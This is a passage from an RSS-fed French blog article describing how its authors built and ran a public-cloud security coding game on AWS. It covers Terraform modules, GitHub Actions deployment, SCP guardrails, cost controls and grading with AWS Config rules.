<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="11" data-aria-level="1"><span data-contrast="none">Les permissions IAM doivent être suffisantes pour permettre au système de fonctionner correctement.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">La configuration finale de l&rsquo;infrastructure doit prendre en compte les cycles de vie des objets et leurs interactions.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="13" data-aria-level="1"><span data-contrast="none">L&rsquo;expertise requise pour compléter le </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none"> doit être adaptée à la montée en compétence des étudiants sur une période de 2 semaines.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="none">Concernant le cycle de développement, plutôt que de suivre une approche linéaire, où l&rsquo;on créerait d&rsquo;abord le code pour l&rsquo;infrastructure initiale, puis pour l&rsquo;infrastructure cible, nous avons opté pour une approche agile avec la définition de blocs fonctionnels. Pour illustrer cette idée, le bloc « </span><i><span data-contrast="none">Lambda (ELK) -&gt; S3</span></i><span data-contrast="none"> » vise à concevoir une fonction Lambda déclenchée dès qu&rsquo;une notification S3 </span><i><span data-contrast="none">PutObject</span></i><span data-contrast="none"> est générée, avec ou sans point de terminaison VPC. Bien que nous devions maintenir 2 configurations Terraform simultanément, cette approche nous a donné une plus grande agilité pour réévaluer nos choix techniques. Pour réduire davantage la redondance et assurer la maintenabilité, nous nous sommes aussi concentrés sur le développement de modules Terraform pour les objets Lambda et S3.  </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Pour automatiser le déploiement des ressources dans notre Sandbox et dans nos comptes étudiants, nous avons créé une chaîne CI/CD simplifiée dans Github. Elle est constituée de 2 Github Actions. A travers une syntaxe YAML, les Github Actions permettent d&rsquo;exécuter des tâches intégrées à AWS ou Hashicorp. Dans notre cas de figure, nous avions une tâche pour exécuter la commande </span><i><span data-contrast="none">terraform apply</span></i><span data-contrast="none"> et une tâche pour appliquer la commande inverse </span><i><span data-contrast="none">terraform destroy</span></i><span data-contrast="none">. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">L&rsquo;un des avantages des Github Actions est le fait de pouvoir stocker les identifiants d&rsquo;accès à AWS dans Github Secrets au lieu du code source ou d&rsquo;un fichier local. De plus, le stockage des états Terraform dans un </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 facilite la collaboration. Un état Terraform est un fichier qui garde une trace de la configuration actuelle. Ainsi, chaque développeur configure sa clé S3 dans sa branche Github qui deviendra la référence de son état.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Au fur et à mesure que le développement avançait, nous nous sommes rendu compte de l&rsquo;ampleur de l&rsquo;écart entre l&rsquo;architecture initiale et l&rsquo;architecture cible. La raison principale est que les logiques IAM et réseau sont très différentes. En conséquence, il est devenu essentiel d&rsquo;effectuer des tests en conditions réelles, c&rsquo;est-à-dire à partir de la console AWS, afin d&rsquo;identifier les ruptures, les politiques bloquantes et d&rsquo;évaluer la complexité. A titre d&rsquo;exemple, l&rsquo;un des tests nous a rappelé que le script de démarrage d&rsquo;un EC2 appelé </span><i><span data-contrast="none">user-data</span></i><span data-contrast="none"> n&rsquo;est pas persistant après un redémarrage. Par conséquent, ce comportement a empêché la mise en œuvre de la politique de sécurité relative au chiffrement du volume racine Amazon EBS (AWS-05).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<h2><b><span data-contrast="none">Etape 4 :</span></b><span data-contrast="none"> Déployer les environnements de manière sécurisée</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559991&quot;:851}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Dans le cadre de ce défi, nous étions sur le point d&rsquo;accorder un accès privilégié à des étudiants dans un environnement pendant deux semaines pour lequel une surveillance ou une assistance individuelle constante est impossible. Bien que cette approche représente une meilleure opportunité d&rsquo;apprentissage, elle soulève des scénarios de sécurité spécifiques que nous devons anticiper et atténuer. Parmi ceux-ci, le dépassement de budget était une préoccupation majeure, étant donné l&rsquo;accès illimité et les ressources à leur disposition. Une autre menace importante est la possibilité pour les étudiants de s&rsquo;élever au sein de l&rsquo;organisation, d&rsquo;obtenir des accès non prévus ou de se compromettre les uns avec les autres. Enfin, le risque de détournement des ressources à des fins non autorisées ou malveillantes n&rsquo;est pas négligeable. Chacune de ces menaces doit faire l&rsquo;objet d&rsquo;un examen attentif afin de garantir un déploiement sûr et responsable.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Pour ce </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none">, nous avons opté pour une conception AWS multicomptes afin d&rsquo;isoler les environnements de chaque équipe. Grâce à l&rsquo;organisation AWS, nous avons simplifié l&rsquo;administration, amélioré le contrôle des coûts et pu mettre en place des garde-fous à l&rsquo;aide de politiques de contrôle de la sécurité (SCP). Dans la </span><i><span data-contrast="none">Figure 3</span></i><span data-contrast="none">, nous présentons notre organisation AWS, composée d&rsquo;un compte admin et d&rsquo;une Unité d’Organisation (UO) Wavegame qui héberge les comptes des équipes où l&rsquo;infrastructure est déployée. Nous avons mis en place 3 SCP spécifiques pour :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="14" data-aria-level="1"><span data-contrast="none">Restreindre l&rsquo;accès aux services AWS en dehors de la région désignée, </span><i><span data-contrast="none">us-east-1</span></i><span data-contrast="none">, en définissant une liste d&rsquo;opérations autorisées.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">Renforcer l&rsquo;utilisation des types d&rsquo;instance Amazon EC2 à du t2.micro ou t2.large (contrainte liée à l&rsquo;environnement ElasticSearch).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="16" data-aria-level="1"><span data-contrast="none">Interdire aux comptes étudiants de supprimer ou de modifier une ressource dont la balise est « </span><i><span data-contrast="none">protected</span></i><span data-contrast="none">« .</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="none">Par ailleurs, pour mieux gérer les coûts, en particulier pour une durée de deux semaines, nous avons mis en place une fonction Lambda pour fermer automatiquement les instances EC2 après 2 heures d&rsquo;activité. Pour éviter toute modification non autorisée par les étudiants, cette fonction Lambda était l&rsquo;une des ressources sécurisées avec la balise « </span><i><span data-contrast="none">protected</span></i><span data-contrast="none">« .</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23296 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3.jpg" alt="" width="826" height="612" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-258x191.jpg 258w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-53x39.jpg 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-768x569.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">3</span></i><i><span data-contrast="none">:</span></i><i><span data-contrast="none"> Organisation AWS pour le Wavegame 2023</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559739&quot;:120,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Enfin, en plus de notre utilisateur IAM qui est administrateur de l&rsquo;UO Wavegame via un rôle IAM, nous avons créé un utilisateur IAM avec le rôle </span><i><span data-contrast="none">AdministratorAccess</span></i><span data-contrast="none"> pour chaque compte AWS, afin de donner de l&rsquo;autonomie aux étudiants pendant le challenge. Ils ont notamment suffisamment de droits pour se créer des comptes nominatifs.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p> </p>
<h2><b><span data-contrast="none">Etape 5 :</span></b><span data-contrast="none"> Se préparer au RUN et à la correction</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Une fois le coup d’envoi donné, les étudiants ont 2 semaines pour sécuriser les ressources dans leur compte AWS en suivant nos politiques sécurité du Cloud public. Avec autant de permissions, des erreurs de configuration cassantes peuvent vite survenir. Par exemple, un groupe a créé une politique S3 « </span><i><span data-contrast="none">Deny All</span></i><span data-contrast="none">« , ce qui l&rsquo;a conduit à s&rsquo;exclure lui-même, ainsi que toute autre personne, puisqu’aucun d&rsquo;entre nous n&rsquo;a les privilèges du compte racine.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Pour faire face à ce genre de situation, nous avons mis en place le système de communication suivant : chaque équipe dispose d&rsquo;un coach chargé de signaler les problèmes techniques à l&rsquo;équipe organisatrice qui nous remonte ensuite les incidents. Nous avons ainsi pu enquêter et résoudre les problèmes ou communiquer rapidement avec eux sans recevoir trop de messages pour des questions simples auxquelles les coachs pouvaient répondre. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Outre la gestion des incidents, notre rôle consistait également à surveiller les dépassements de budget. Pour ce faire, nous avons mis en place des alertes de coûts pour chaque compte AWS. Nous avons également développé un script pour suivre l&rsquo;évolution du budget des équipes en temps réel. Cet outil s&rsquo;est avéré très utile pour fournir une estimation du temps passé par les étudiants sur le défi et réagir en cas de dépenses anormales. Par exemple, deux jours après le début du défi, une alerte a été déclenchée en raison d&rsquo;une défaillance de la fonction Lambda destinée à éteindre la machine virtuelle.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Une fois que le défi s&rsquo;est terminé avec peu d&rsquo;incidents et que l&rsquo;accès des étudiants a été révoqué, il était temps de procéder à l&rsquo;évaluation pour déclarer les gagnants. Pour rappel, les étudiants devaient configurer leur compte AWS en conformité avec les politiques du Cloud public. Pour leur évaluation, nous avons utilisé deux mécanismes de notation :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="17" data-aria-level="1"><span data-contrast="none">Une évaluation automatique grâce au déploiement de règles gérées AWS Config à la fin du défi. Amazon fournit un ensemble de règles couvrant un pourcentage significatif des exigences. Par exemple, une règle permet de vérifier si le </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 est chiffré (AWS-06).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">Une évaluation manuelle basée sur des critères attendus et des étapes de vérification clairement documentées.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;" aria-level="1"> </p>
<p aria-level="1"> </p>
<p aria-level="1"> </p>
<p style="text-align: justify;"><span data-contrast="none">Pour conclure, organiser un coding game est un challenge ambitieux qui nécessite des compétences Cloud public et Terraform, une organisation solide et des capacités de réaction face à des événements inattendus. Malgré les défis, c&rsquo;est une opportunité exceptionnelle d’apprentissage. Pour les participants, le Wavegame offre une introduction immersive à la sécurité dans le Cloud public. Pour les organisateurs, le Wavegame est une expérience pratique sur le design, la conception et le maintien en condition opérationnelle d’une infrastructure dans le Cloud public.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/">Comment construire un coding game Cloud public étape par étape ? </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
